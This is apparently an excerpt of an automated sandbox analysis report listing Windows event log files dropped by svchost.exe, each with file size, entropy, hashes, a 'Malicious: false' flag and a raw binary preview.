Preview:	ElfChnk.>...............>......................`...?.S.....................................................................5Nx}................0.......................X...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................A...............&...i.......~........................x...........>.................&...............................................................8.......P.....!....nqm......... >.........&O......'O.....................................$.N......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.h.e.l.l.-.C.o.r.e..n30'.\|D..Q.R.a.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.h.e.l.l.-.C.o.r.e./.O.p.e.r.a.t.i.o.n.a.l......L.~.........n30'x.....(...........0. ...............&...............................................................8.......P.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	66976
Entropy (8bit):	4.478017396168738
Encrypted:	false
SSDEEP:	384:d7h7EhN7s7o787l7r787a7J7z7+7N17g7E7h7g7gY7hZ7D7k7F7r7wm7NP7Y7+7I:E9ruCg
MD5:	0B4B59A5FECEB03C410B3C93102C053C
SHA1:	F79228C77A2A4F41BB3B000AE811BC3F9A899195
SHA-256:	CF72756984B9F752D1D59E523CAA9063216FE6D4A01C55FC019CEFB6D91263BD
SHA-512:	B019A2B11F61C0A41EA959B398AF40F036AFE4213077EEDD1AF7776284336990CE2DCBDD6C73F0CBE003672B80A48E89D916B1131656CF0AF380B19229E68E84
Malicious:	false
Preview:	ElfChnk.Y.......g.......Y.......g............%...&..;7......................................................................:\|.U............................................=...........................................................................................................................f...............?...........................m...................M...F...........................................=...............&...............................................................s.............................f........-................................................................................f.......~.....!.....z..........@.-........&O......'O....x.......f........................$.N......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.h.e.l.l.C.o.m.m.o.n.-.S.t.a.r.t.L.a.y.o.u.t.P.o.p.u.l.a.t.i.o.n.B.....K..p...1.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.S.h.e.l.l.C.o.m.m.o.n.-.S.t.a.r.t.L.a.y.o.u.t.P.o.p.u.l.a.t.i.o.n./.O.p.e.r.a.t.i.o.n.a.l......Ls....................g........'......

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.1499045494600955
Encrypted:	false
SSDEEP:	384:Dhc+uaNuru+uhuKVuPJu5u9u4ufuTuxuDuvuDuOuXumui+udutui4uTAuFuauind:D6Ovc0S5UyEeDgLslstY
MD5:	2045FB0D54CA8F456B545859B9F9B0A8
SHA1:	35854F87588C367DE32A3931E01BC71535E3F400
SHA-256:	E4305D5E1125E185F25AABA6FF9E32DE70B4EFD7264FE5A0C7C2EF3C33989C45
SHA-512:	013CAC4CBF67C9AB5D2A07E771BAF81950E5A256F379E3C2E26CC9E8E47379579470CC6FD56E93B31C4D17935713D1FC6026307427D77CBE9647139E3D73AC47
Malicious:	false
Preview:	ElfChnk.........;...............;...........xk...m...+.....................................................................F.~.................,.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................6f..w...............................**...............&3..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SmbClient%4Security.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8164696340947971
Encrypted:	false
SSDEEP:	384:jhGuZumutu4uEu5uOuDuyb2uPu1uRu3uGuHu9/u:jr
MD5:	1AB19FA472669F4334C7A9D44E94E1B3
SHA1:	F71C16706CFA9930045C9A888FDB3EF46CACC5BC
SHA-256:	549D89A256E3C71AFCBF551EC9BEDBDB3CF2DC74B4F8C214FDC1D270FB731F6E
SHA-512:	72F1F20CB1F2984B318E4A2AAEE11D573441A77D04C0577D24E19F89E85F1691CB29EF569BD25EBBBD313C7B9DB945DB43D52EEFC2EF33E7BEECDFB8E0BBC404
Malicious:	false
Preview:	ElfChnk...................................... ..x$../..........................................................................<................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................!..................................**..............Wy.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StateRepository%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9855903635327656
Encrypted:	false
SSDEEP:	384:cxNhPALAb/A0D6AKAlAfyVAQhAQueA4AIAwA0AYAwA+/AfAjrA3DA:cxN90yzXd
MD5:	7BCA54AC75C7185ADFBB42B1A84F86E3
SHA1:	AD91EE55A6F9F77AD871ACA9A5B59987CA679968
SHA-256:	A43B1365211A968B4EC3F9EC7489D05AD9EED30D3EE0CCD89860D20DFE1914D4
SHA-512:	79A04DCE951528E09F7580E797E38D58CFC556EFEC032C3E68C701D720E01CBDCA3D4F27C309D50B9096570787A0E62B2C69236D148AC9C216CB13AA05E9619F
Malicious:	false
Preview:	ElfChnk.....................................P+...,...0........................................................................9.................B.......................j...=...........................................................................................................................f...............?...........................m...................M...F...........................U.......................%%......&...................................................>...........................E.......**..............o.m...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Health.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.165454452307923
Encrypted:	false
SSDEEP:	384:ghVpIcpBUpBxpBapB3pBEpBZpBKpBV1pBApBppBTSpBcu1pBspBlpBABpB7pB0py:gd+uXvB
MD5:	B6B6F199DA64422984403D7374F32528
SHA1:	980D66401DFCCF96ADDDAF22334A5CE735554E7F
SHA-256:	8F65F81EE28F48B5007E04842ACC9DE20794A59E2759C2F35F7C10730A1EF7BF
SHA-512:	5B0EFBF1C57BACF347790EB5915AFCFDDDDAFA7761D94DF1341C4E79F5B16DA3FAC2C9653C3DC41B80E31EA44AE46F4FC95C6EC0FFA0A0D3C05C69CED6955DE4
Malicious:	false
Preview:	ElfChnk.........'...............'...........P.......H:Z.....................................................................gO.................. .......................H...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................f..................................**..............m.................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.8519554794255333
Encrypted:	false
SSDEEP:	384:WhtbpwV1pIvpLfpvQpw2pQYph15pcApLqBpJxTp0qo8psfp4yp4Rphe3p7PpLWBZ:WwDoh1VqKVvcVU
MD5:	4140628CA3CEC29C0B506CEEBDF684F6
SHA1:	A2B70496C8E91D8E78AA04976B25D850ABAC6E1C
SHA-256:	1823149759A2F1771ACE7B6BE14A0FEFC6F93DD9F81AC1024E6B41C2CCBFD8B0
SHA-512:	779A04771A8E9B2F501FE1251F0D56C5B5988911F6067082D84FF1DBCF5D9281E32DF6CC2C995843EA1FCED748548DC116706E0F738B6510B47C2B3A0EBAA126
Malicious:	false
Preview:	ElfChnk.\...............\.......................0..../........................................................................v.......................................R...=...........................................................................................................................f...............?...........................m...................M...F............................................;..............&...................................i...................................mS..............*..8...\........=..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1642919553794224
Encrypted:	false
SSDEEP:	384:bhwCCRzCaCkClCzCYC/CyCVCGCMCvCNCACCxC/CLCoiC:bKFb
MD5:	D7EECF043241FDB9486580582E208603
SHA1:	045D5672A8E9884B78CD31C52D372375503CBF4F
SHA-256:	6F3BE76FC00FE21C18A904058F2AF850204488187187C9B8C4BF11EAA03EC6C0
SHA-512:	6738CD1D4081AD78CCC1E3E7AC46A394D9AC32906B4688E34DCCBBA42153FB826484C854F42FFF619DC8D50CAE708585B422F3EAA3A0219AAD19DC0962910125
Malicious:	false
Preview:	ElfChnk.....................................02..h6...u'.....................................................................1..................V.......................~...=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................V2............................../...**..p............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Store%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	79000
Entropy (8bit):	4.55510563321521
Encrypted:	false
SSDEEP:	768:bcxeIZi8Ns5iLV8gRai8ZijiTEOmGkoeiDpbek:u+Jao7mce8pX
MD5:	5007FEDEAACF1545A5747D454B5B3109
SHA1:	F47E137758B9F7BBF36BADAE3E4D04E5FB12B204
SHA-256:	1868FBD58403951E7F8B61C2BA20BBC4834AF97BA14A6A6DE6D595FCC7BCBA78
SHA-512:	DC56445BA220CDB83A18002773A051312DFD00369CB830063089AFBA8EF9F79A221077ECE7E32CE231A18FE61B72F90453ED56CCE89A73793A13DA39A0FF71A3
Malicious:	false
Preview:	ElfChnk.....................................p..........:.....................................................................A..........................................4...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..0...........n=...............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storsvc%4Diagnostic.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 1 chunks (no. 0 in use), next record no. 15, DIRTY
Category:	dropped
Size (bytes):	79016
Entropy (8bit):	1.81989573221711
Encrypted:	false
SSDEEP:	384:y+hL6UsE0ZUmxUmgDUmSUmKUmgUmlUmB8UmCUmeUmNUmtUmxUmBWUmYhL6UsE0Z9:pY7LE7Y7LE
MD5:	336B4F255BBBA118F1CC4A04EC34D2A1
SHA1:	61F64DE2A6D31F7BD071C2EF693D49F47654C8A8
SHA-256:	8215E74F9BECDDD5DE236126AC1F143DBBE03D2B32DF137F53C872EE2AD969C1
SHA-512:	8199BAF45ADE92B98C8C105EE7A34F1C8183BC50DE8E4ABFED4ADCD7C70BF4AFFB573B58D9C620C812FDF98ECA710951C9B50789C511AD485468DCA8D15DB316
Malicious:	false
Preview:	ElfFile.....................................................................................................................\>.eElfChnk....................................../..(4....p.....................................................................>................... .......................H...=...........................................................................................................................f...............?...........................m...................M...F...........................&..................................................................................../..................................**..............a...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TZUtil%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	67776
Entropy (8bit):	0.36782084694512096
Encrypted:	false
SSDEEP:	96:riKNVaO80obuQ/6FgMiKNVaO80obuQ/6Fg:ri8V7hQiFgMi8V7hQiFg
MD5:	E1D28FE11F076E8765F1EB3C642FC1AF
SHA1:	7119CE23954CDFB42077260FBA4DD5D2DAFDA323
SHA-256:	E46D254C92DD13D7DE78FA472C41BE690B07A5AA314F0AD87D4DB5231371DB52
SHA-512:	3C6D60B5D816204D237942023F9FFBE518C929CCDA71D5368131B0DE0375254ABB47820B5956B287F69DDEFC3550F0813939FE7E3795D7B5E4D8DD5FB0364939
Malicious:	false
Preview:	ElfChnk..............................................n ........................................................................!................ .......................H...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..............^.................&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.6469884746870727
Encrypted:	false
SSDEEP:	384:/hpivNiGiriPiYiriDfiS83i0iGiTiYiUisiuiZi+iTiciUiQiJiUiBi4i/iAixQ:/G7t8H
MD5:	FC81D9FBA555C6BC7223594B8F6B46DE
SHA1:	971F47CFC0E1DCA462928DA2D8BE2B16D5A0629C
SHA-256:	9933922E09C49C5BA80292C4AED9EC9F457031E90B28B421DFFBD2F1BB840671
SHA-512:	7F2705E7526B49F76C5F2A76A88B83FC10591BAD68B451F5C67F841322076D4B408FC515EA59E0919907C73CBBD149AB5B5EE981083A52C9E90EC9FBFAD5254F
Malicious:	false
Preview:	ElfChnk.y...............y................... Q..(S...b.......................................................................t..............................................=.......................#...................................................................................................f...............?.......................P.......................M...F...............................................................................................................VG..................................**......y..........:............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-UAC-FileVirtualization%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	85184
Entropy (8bit):	4.319058147736503
Encrypted:	false
SSDEEP:	768:41ja0N9a7ajaLa/aDaTarakacaAaEaeaeaMapadaFa6aGaQala5aE1ja0N9a7ajG:4ZNbZNK
MD5:	F940B772D0BCAE5075AA453132618976
SHA1:	204A659CE0D67E6FC30658BCC301A6DE981B400E
SHA-256:	2A5597165E91B0E8A56EB6BB962A3E2324B692238D2E260D906D5E66E7245B44
SHA-512:	5053C12E2735FFBAA31ACF11CC21B7A3E606E13DAA79811B54B7C508DC6BF96FF614E37F7BE3818E8CD54B8DB915A17C351C4AD66FBB991E2D7BE6FC9627921B
Malicious:	false
Preview:	ElfChnk......................................I...L..(..s......................................................................o................`...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................9...................................*..X............J................&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Device Registration%4Admin.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3132453844344478
Encrypted:	false
SSDEEP:	384:hhaXJb4+XJcXJsXJrXJQXJIXJdXJkXJuXJyXJLMXJnXJRXJtXJLXJjXJppXJ:hQ0yUkNYwD8imLE5nTtFpf
MD5:	6237EE0458A0478242B975E9BB7AA97D
SHA1:	6B0BDBA887DA21675A63FC73AED995B1BCA3F6B1
SHA-256:	C8E224C54278C206302EAD7011ACC48CAC60E7638E32EE70653190DBC90FA70A
SHA-512:	56C025C971F77AB8E911E0190E8AB5CF533A909C1BF4558876FB2761AAA381CB7D21E44A3273FA4427CB2FF7DEECC15A312DD2A424B96ABDC4886BDF233F30E9
Malicious:	false
Preview:	ElfChnk......................................<...A.........................................................................i,.q................j...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................<......C...........................**..............@V.$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.325262033408211
Encrypted:	false
SSDEEP:	384:6hYmn9moomUmKBmZOmZmlmmmomRmemtmsmimGmHmEmqmwmHmLmlm9mGmdmpm3mfO:6/fGTDcx
MD5:	D13189B45679E53F5744A4D449F8B00F
SHA1:	ED410CAB42772E329F656B4793B46AC7159CF05B
SHA-256:	BAA80D6A7DC42752766B1862A00009A1D76B57022A4D5A89692DBA2D6866EBA1
SHA-512:	83399CE082F8C6D2917B8363E053C770F2783B3D086F39736919FBFA533DF65993A3B7840A2E1000B08948584CF9750C27961BF8A7BE3A235B5DDD779616013F
Malicious:	false
Preview:	ElfChnk.....................................h.................................................................................-.................X...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................1...........&.......................................................................................**..x...........~_g...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7947046118743749
Encrypted:	false
SSDEEP:	384:jhr2zS2o202AW2D2t2l292l2V2p2d2N2:j8Q
MD5:	55E73A924B170FBFFF862E8E195E839A
SHA1:	3C625D05DFC08AE9DF26AEBAA82D72FC9F28ADB0
SHA-256:	1B36D85AA56A023F6646D6EF28C9DCB5358528274EDCC9B6ED20705E3007E8A2
SHA-512:	E14D32569F37A827EDBD1F02667866431C856D087A396933DE5E9B87943369C4802D220557050C7B0FE9367FBD0683676776E6D3CCBCB290C9F30D86EC529E28
Malicious:	false
Preview:	ElfChnk...................................... ..X"...........................................................................?.................Z...........................=...........................................................................................................................f...............?...........................m...................M...F...............................3...........................&.......................................................................................**................................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.371963431522011
Encrypted:	false
SSDEEP:	384:exhSRumRtRqR5RVR+rRvR3RFRXRmRbR+RLRlRFRDRiwhR3KR31RIRB8R+PRdR3BZ:exA8nPLGblj
MD5:	39B514BBAD76965278510DE83BB7BEC4
SHA1:	4EA35C954C8504332B77AB53924E67DEC887B1D6
SHA-256:	9E6C6B55E25493653B22C7839F7635F819F6767CE1596573AE21BFD7BD71A83C
SHA-512:	F9A51AAA07762340F260BA7BEB3A84974F5D1935EE43EA07C5AEF8B2A0D8D7D834A2B85C7D8DF6B6D1EB44948FB0FE69B7C08A905865D6B241A4AC1FAD40C4E6
Malicious:	false
Preview:	ElfChnk.............................................b.6.....................................................................!..F.....................y.......x..N...........=............................................y..................}y..3...........................................c......xb..f...h.......lc..?.......................h........c......M.......M...F...9c..............................................Qb..............................................A.......i.......................&............x..**..(...........~.n............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.273338343434408
Encrypted:	false
SSDEEP:	384:mhWhjhUh4h4hthXhzh8cghshqh9hihXhMhxhzhwhohGh5h3hShChWhzhLhahYhC1:mBsFpkBjOFK
MD5:	C37372EB51AEDB4552CB839C7294403A
SHA1:	7B7C408D72B084CE36AA6B623AC6B907FD21D569
SHA-256:	C3B5D9D16F88507EF69A9B6FF8581AEBAFF84D254F62CD4E75B6A9C6F93E93C4
SHA-512:	69183719C29FCE5CEDB2634579ABA9FEF835A3CDC7668BB741F9DB36050756C088FD331E898DA8E4850887FD217B939DF1C5A3E7D73D2260CB3AC3570E71718E
Malicious:	false
Preview:	ElfChnk....................................................................................................................x...........................................8...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..............i.T..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WebAuthN%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.231195890775603
Encrypted:	false
SSDEEP:	384:ZhOVPiVcVCVC7VNVtVEV3Vob7V5VXVmVbVoV/VEVptVtVBVnVOVt9VjViVyVKVui:Zyjbn
MD5:	3365A34953FD7B16667108A049B64DA5
SHA1:	C72421A58E063D64072152344B266F8306A78702
SHA-256:	AAEDFFE84B66B602858AF51D5B2EBA7CFC9DB57A4A3DD3240DB44B737B9BBF26
SHA-512:	A5569EDC7516DACCCE7B3135114588E01ED1A77CA95B0F378E389E27AC8999EA71E8AF36FD275EEA7E81987CB9BF14910645DE3DC4FE8E086FF532796DD78AAF
Malicious:	false
Preview:	ElfChnk.........!...............!............7..`8...j......................................................................@..#................&...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................v....................................................3..................................**..P...........y................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.350823347127061
Encrypted:	false
SSDEEP:	384:eh+BwB5BwBjBwBNSBwBYiBwB+BwBXBwBZabSqBwBlQBwBtfBwBvBwBPnBwBIrBwl:eOqabeGTnbuSxPgw
MD5:	06692B0E4FE9CDCB23C9491FE1549F5D
SHA1:	D24AF44F59A4C5213B0B71F0D7356A343E425D29
SHA-256:	2F1090B70BC8077683A7535409A040CDED19862D75263A0AAC026A8926142319
SHA-512:	2FC82225B53D9B18C0AAAE036711351A2EF393AAF683D530D7D059350E20C9E64ED5F90AC82EFB97241A8A54974ED93C9B6620B605C8F0BF50F065089379353C
Malicious:	false
Preview:	ElfChnk.....................................H...x....j......................................................................................................................=...........................................................................................................................f...............?...........................m...................M...F....................S......................................&...................................u...................................................**...............Dbf..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Winlogon%4Operational.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
